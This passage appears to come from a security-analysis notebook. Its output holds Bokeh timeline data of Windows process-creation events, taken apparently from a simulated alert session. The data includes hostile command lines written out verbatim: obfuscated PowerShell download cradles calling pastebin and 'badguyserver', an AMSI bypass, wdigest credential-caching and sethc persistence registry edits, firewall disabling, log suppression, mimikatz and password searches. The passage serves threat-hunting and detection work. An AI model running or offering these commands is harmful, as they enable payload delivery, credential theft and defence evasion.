(New-Object\\nNet.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f\\n':/','/paste','tp')+'bin/'+'raw/'+(\\\"{1}{0}\\\"-f'Em17\\n','pqCw')));}\",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy\\nBYpa^sS i^mPOr^T-^M^oDuLE\\nbiTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER -^SOURCE^\\n'http://somedomain/best-kitten-names-1.jpg'\\n^-d^EStIN^At^IOn ^'C:\\\\Users\\\\$env:UserName\\\\AppData\\\\\\nLocal\\\\Temp\\\\kittens1.jpg';\\\"\",\"cmd /c \\\".\\\\n^e^t u^se^r\\\"\",\".\\\\powershell -enc JAB0ACAAPQAgACcAZABpAHIAJwA7AA0\\nACgAmACAAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ARQB4AHAAc\\ngBlAHMAcwBpAG8AbgAnACkAIAAkAHQA\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\n>> blah.ps1\\\"\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\n>> blah.ps1\\\"\",\"certutil -decode delme.b64 implant.exe\",\"implant.exe k111\",\"implant.exe 81ed03caf6901e444c72ac67d192fb9c\",\"implant.exe -b -t -m\",\"cmd /c \\\"echo Invoke-Expression Get-Process;\\nInvoke-WebRequest -Uri http://badguyserver/pwnme\\\"\",\".\\\\powershell -Noninteractive -Noprofile -Command\\n\\\"Invoke-Expression Get-Process; Invoke-WebRequest\\n-Uri http://badguyserver/pwnme\\\"\",\".\\\\powershell Invoke-Shellcode.ps1\",\".\\\\powershell Invoke-ReverseDnsLookup.ps1\",\".\\\\powershell -command \\\"(New-Object\\nNet.WebClient).DownloadString(('ht'+'tp://pasteb'\\n+ 'bin/'+'raw/'+'pqCwEm17'));\\\"\",\"net localgroup Administrators\",\"whoami\",\"hostname\",\"netstat -an\",\"net user Bob1 /domain\",\"net user BobX /domain\",\"net group \\\"Domain Admins\\\" /domain\",\".\\\\rUnDlL32 /C ShEll32Control_RanDLL.dll\",\".\\\\reg query add mscfile\\\\\\\\\\\\\\\\open\",\".\\\\reg add Image File Execution Options sethc.exe\",\".\\\\dubrute.exe\",\".\\\\nlbrute.exe\",\".\\\\reg add\\n\\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal\\nServer\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d\\n0x1 /f\",\".\\\\reg add\\n\\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal\\nServer\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d\\n0x0 /f\",\"net use v: \\\\\\\\tsclient\\\\c\",\"net v: /delete\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe vbscript:Cre\\nateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powershell.exe\\n-c \\\"\\\"$x=$((gp\\nHKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\nCertificate).Certificate);.\\\\powershell -E\\n$y\\\"\\\"\\\",0,True)(window.close)\",\".\\\\netsh advfirewall firewall add rule\\nname=RbtGskQ action=allow program=c:\\\\users\\\\Bob\\\\app\\ndata\\\\Roaming\\\\RbtGskQ\\\\RbtGskQ.exe\",\".\\\\reg add HKLM\\\\KEY_LOCAL_MACHINE\\\\...securityprovi\\nders\\\\wdigest uselogoncredential /t 1\",\"c:\\\\Windows\\\\System32\\\\cmd.exe /c net user\",\"cmd /c c:\\\\Diagnostics\\\\UserTmp\\\\scrsave.scr\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\smss.exe\",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\"cmd.exe /c echo createobject\\\"msxml2.xmlhttp\\\")\",\"ASC_Alerttest_662jfi039n.exe -foo\",\".\\\\powershell.exe -command [ref].assembly.gettype\\n('http://system.management.automation.amsiutils').\\ngetfield('amsiinitfailed','nonpublic,static').setv\\nalue($null,$true)\\\\\\\"\",\"netsh start capture=yes IPv4.Address=1.2.3.4 trac\\nefile=C:\\\\\\\\Users\\\\\\\\user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\bzzzz\\nzz.txt\",\".\\\\wuauclt.exe /C\\n\\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\".\\\\lsass.exe /C\\n\\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"cmd /c \\\"powershell wscript.shell used to download\\na .gif\\\"\",\"cacls.exe c:\\\\windows\\\\system32\\\\wscript.exe /e /t\\n/g everyone:f\",\"cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\sys\\ntem32\\\\inetsrv\\\\appcmd set config \\\"Default Web\\nSite/\\\" /section:httplogging /dontLog:true&echo\\n[S]&cd&echo [E]\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\2840.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe\",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe firewall set\\nopmode mode=disable profile=all\",\"cmd /c echo rundll32.exe perfc.dat\",\"c:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe @ abc.com\\nabc.wallet\",\"cmd /c echo /e:vbscript.encode /b\",\"pcalua.exe -a \\\\\\\\server\\\\payload.dll\",\"findstr /si password sysvol *.txt\",\"odbcconf.exe /S /A {REGSVR C:\\\\Users\\\\Administrator\\n\\\\AppData\\\\Roaming\\\\{RANDOM}.txt\",\"odbcconf.exe /f my.rsp\\u00e1\\u00e1\",\"sqldumper.exe 464 0 0x0110:40\",\"mt.exe port\",\"mt.exe smb\",\"hd.exe -pslist\",\"hd.exe -enum\",\"netsh.exe PortOpenning\",\"certutil -urlcache -split -f http://127.0.0.1/\",\".\\\\reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\nNT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\",\".\\\\reg delete \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\nNT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\",\"sc create MSTICTestService binPath=C:\\\\Users\\\\MSTIC\\nA~1\\\\AppData\\\\Local\\\\Temp\\\\hd.exe DisplayName=\\\"Test\\nService\\\"\",\"sc delete MSTICTestService\",\"cmd /c \\\"echo blahtest > \\\\\\\\.\\\\pipe\\\\blahtest\\\"\",\".\\\\reg.exe add \\\"hkcu\\\\console\\\" /v windowposition\\n/t reg_dword /d 33554556 /f\",\"c:\\\\windows\\\\fonts\\\\csrss.exe\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\mimikatz.exe\",\".\\\\rundll32.exe /C c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\regsvr32 /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\",\"tasklist\",\"cmd.exe /c\\nc:\\\\Diagnostics\\\\WindowsSimulateDetections.bat\\nc:\\\\Diagnostics\\\\UserTmp\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\Diagnostics\\\\UserTmp\\\\ftp.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat\",\"C:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"C:\\\\Windows\\\\System32\\\\vssadmin.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\suchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\certutil.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\",\"C:\\\\Windows\\\\System32\\\\HOSTNAME.EXE\",\"C:\\\\Windows\\\\System32\\\\NETSTAT.EXE\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\dubrute.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\nlbrute.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\smss.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\ASC_Alerttest_662jfi039n.ex\\ne\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\wuauclt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\lsass.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cacls.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\2840.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\pcalua.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\findstr.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\odbcconf.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\odbcconf.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\SQLDumper.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\hd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\hd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\certutil.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\sc.exe\",\"C:\\\\Windows\\\\System32\\\\sc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\Fonts\\\\csrss.exe\",\"C:\\\\Windows\\\\Fonts\\\\conhost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mimikatz.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\tasklist.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"ANBV9v6EdkIAcHT2/oR2QgBQe/b+hHZCAEB/9v6EdkIAAIP2/oR2QgDghPb+hHZCAECJ9v6EdkIA4In2/oR2QgAwjfb+hHZCAFCQ9v6EdkIAcJP2/oR2QgBQlPb+hHZCAACX9v6EdkIA8Jn2/oR2QgBwnPb+hHZCACCf9v6EdkIA0KH2/oR2QgBwpvb+hHZCAMCp9v6EdkIAUK32/oR2QgBwsPb+hHZCABCx9v6EdkIAEEHz/oR2QgDwTPP+hHZCAJBN8/6EdkIA4FXz/oR2QgDwXPP+hHZCAGBx8/6EdkIAMKP0/oR2QgCwHPX+hHZCADAf9f6EdkIAECL1/oR2QgDAQfX+hHZCAFBL9f6EdkIAEFP1/oR2QgDAtPX+hHZCAEC89f6EdkIAkMP1/oR2QgDQyvX+hHZCAPDR9f6EdkIAMNn1/oR2QgAQ4PX+hHZCAHBh9f6EdkIAsGz1/oR2QgAwcPX+hHZCADB09f6EdkIAsHf1/oR2QgCQiPX+hHZCABCQ9f6EdkIA4Jn1/oR2QgDwpPX+hHZCAIA19v6EdkIAEDr2/oR2QgAwPfb+hHZCAFA/9v6EdkIAAEf2/oR2QgCwSfb+hHZCAABM9v6EdkIAEE72/oR2QgAgT/b+hHZCAEBS9v6EdkIA8Fj2/oR2QgAQXPb+hHZCADBf9v6EdkIAgGL2/oR2QgAwZfb+hHZCAOBm9v6EdkIAQGv2/oR2QgAwbvb+hHZCAFBx9v6EdkIAQLb2/oR2QgAwv/b+hHZCACDC9v6EdkIAEMX2/oR2QgBQx/b+hHZCAADJ9v6EdkIAIMz2/oR2QgDAzPb+hHZCACDR9v6EdkIAAOz2/oR2QgDw+Pb+hHZCABD89v6EdkIAMAD3/oR2QgAgA/f+hHZCAEAG9/6EdkIAMAn3/oR2QgCQCff+hHZCAGAO9/6EdkIA4BD3/oR2QgAwE/f+hHZCACAX9/6EdkIAQBr3/oR2QgAwHff+hHZCAFAg9/6EdkIAcCP3/oR2QgAgJvf+hHZCAEAp9/6EdkIAcC33/oR2QgDAMPf+hHZCAHAz9/6EdkIAkDr3/oR2QgCwPvf+hHZCAHBB9/6EdkIAIET3/oR2QgAQR/f+hHZCAPBJ9/6EdkIAEEz3/oR2QgAQ7/X+hHZCAND29f6EdkIAUP/1/oR2QgDQC/b+hHZCADAQ9v6EdkIAUBP2/oR2QgBQGPb+hHZCACAd9v6EdkIAcEDz/oR2QgDQsfX+hHZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[117]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116],\"y_index\":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},\"selected\":{\"id\":\"2069\"},\"selection_policy\":{\"id\":\"2068\"}},\"id\":\"1986\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2062\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"axis\":{\"id\":\"2003\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"2006\",\"type\":\"Grid\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"2046\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"2063\",\"type\":\"AllLabels\"},{\"attributes\":{\"tools\":[{\"id\":\"1987\"},{\"id\":\"2007\"},{\"id\":\"2008\"},{\"id\":\"2009\"},{\"id\":\"2010\"},{\"id\":\"2011\"}]},\"id\":\"2013\",\"type\":\"Toolbar\"},{\"attributes\":{\"end\":1547529322102.5,\"start\":1547529300561.5},\"id\":\"2023\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2065\",\"type\":\"AllLabels\"},{\"attributes\":{},\"id\":\"2025\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"2027\",\"type\":\"LinearScale\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"2036\",\"type\":\"Title\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"2037\"},\"group\":null,\"major_label_policy\":{\"id\":\"2067\"},\"ticker\":{\"id\":\"2032\"}},\"id\":\"2031\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"below\":[{\"id\":\"1999\"}],\"center\":[{\"id\":\"2002\"},{\"id\":\"2006\"}],\"height\":200,\"left\":[{\"id\":\"2003\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"2056\"}],\"title\":{\"id\":\"1989\"},\"toolbar\":{\"id\":\"2013\"},\"width\":900,\"x_range\":{\"id\":\"1991\"},\"x_scale\":{\"id\":\"1995\"},\"y_range\":{\"id\":\"1993\"},\"y_scale\":{\"id\":\"1997\"}},\"id\":\"1988\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2053\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2055\",\"type\":\"Scatter\"},{\"attributes\":{\"axis\":{\"id\":\"2031\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"2034\",\"type\":\"Grid\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"2084\"},{\"id\":\"2085\"},{\"id\":\"2086\"},{\"id\":\"2087\"},{\"id\":\"2088\"},{\"id\":\"2089\"},{\"id\":\"2090\"},{\"id\":\"2091\"},{\"id\":\"2092\"},{\"id\":\"2093\"},{\"id\":\"2094\"},{\"id\":\"2095\"}]},\"id\":\"2032\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"2012\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1986\"},\"glyph\":{\"id\":\"2040\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2042\"},\"nonselection_glyph\":{\"id\":\"2041\"},\"view\":{\"id\":\"2044\"}},\"id\":\"2043\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2029\",\"type\":\"LinearScale\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2007\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"2010\",\"type\":\"SaveTool\"},{\"attributes\":{},\"id\":\"2009\",\"type\":\"ResetTool\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2011\",\"type\":\"PanTool\"},{\"attributes\":{\"source\":{\"id\":\"1986\"}},\"id\":\"2044\",\"type\":\"CDSView\"},{\"attributes\":{\"overlay\":{\"id\":\"2012\"}},\"id\":\"2008\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2042\",\"type\":\"Circle\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"coordinates\":null,\"formatter\":{\"id\":\"2050\"},\"group\":null,\"major_label_policy\":{\"id\":\"2065\"},\"ticker\":{\"id\":\"2000\"}},\"id\":\"1999\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"overlay\":{\"id\":\"2046\"},\"x_range\":{\"id\":\"1991\"},\"y_range\":null},\"id\":\"2045\",\"type\":\"RangeTool\"},{\"attributes\":{},\"id\":\"2004\",\"type\":\"BasicTicker\"},{\"attributes\":{\"below\":[{\"id\":\"2031\"},{\"id\":\"2036\"}],\"center\":[{\"id\":\"2034\"}],\"height\":120,\"renderers\":[{\"id\":\"2043\"}],\"title\":{\"id\":\"2021\"},\"toolbar\":{\"id\":\"2035\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"2023\"},\"x_scale\":{\"id\":\"2027\"},\"y_range\":{\"id\":\"2025\"},\"y_scale\":{\"id\":\"2029\"}},\"id\":\"2020\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"2067\",\"type\":\"AllLabels\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2041\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2054\",\"type\":\"Scatter\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"2021\",\"type\":\"Title\"}],\"root_ids\":[\"2058\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n const render_items = [{\"docid\":\"4b05e813-4664-4327-95d9-60c8547c5ebc\",\"root_ids\":[\"2058\"],\"roots\":{\"2058\":\"7ec2836e-28fc-484c-a5b2-a975a7f52471\"}}];\n root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n }\n if (root.Bokeh !== undefined) {\n embed_document(root);\n } else {\n let attempts = 0;\n const timer = setInterval(function(root) {\n if (root.Bokeh !== undefined) {\n clearInterval(timer);\n embed_document(root);\n } else {\n attempts++;\n if (attempts > 100) {\n clearInterval(timer);\n console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n }\n }\n }, 10, root)\n }\n})(window);", "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "2058" } }, "output_type": "display_data" }, { "data": { "text/html": [ "
Column(
id = '2058', …)
align = 'start',
aspect_ratio = None,
background = None,
children = [Figure(id='1988', ...), Figure(id='2020', ...)],
css_classes = [],
disabled = False,
height = None,
height_policy = 'auto',
js_event_callbacks = {},
js_property_callbacks = {},
margin = (0, 0, 0, 0),
max_height = None,
max_width = None,
min_height = None,
min_width = None,
name = None,
rows = 'auto',
sizing_mode = None,
spacing = 0,
subscribed_events = [],
syncable = True,
tags = [],
visible = True,
width = None,
width_policy = 'auto')
\n", "\n" ], "text/plain": [ "Column(id='2058', ...)" ] }, "execution_count": 13, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Show timeline of events - all events\n", "display_timeline(data=clus_logons,\n", " source_columns=['Account', 'LogonType'],\n", " title='Clustered Host Logons', height=200)\n", "process_tree = pd.read_csv('data/process_tree.csv',\n", " parse_dates=[\"TimeGenerated\"],\n", " infer_datetime_format=True)\n", "display_timeline(data=process_tree,\n", " title='Alert Process Session', height=200)" ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
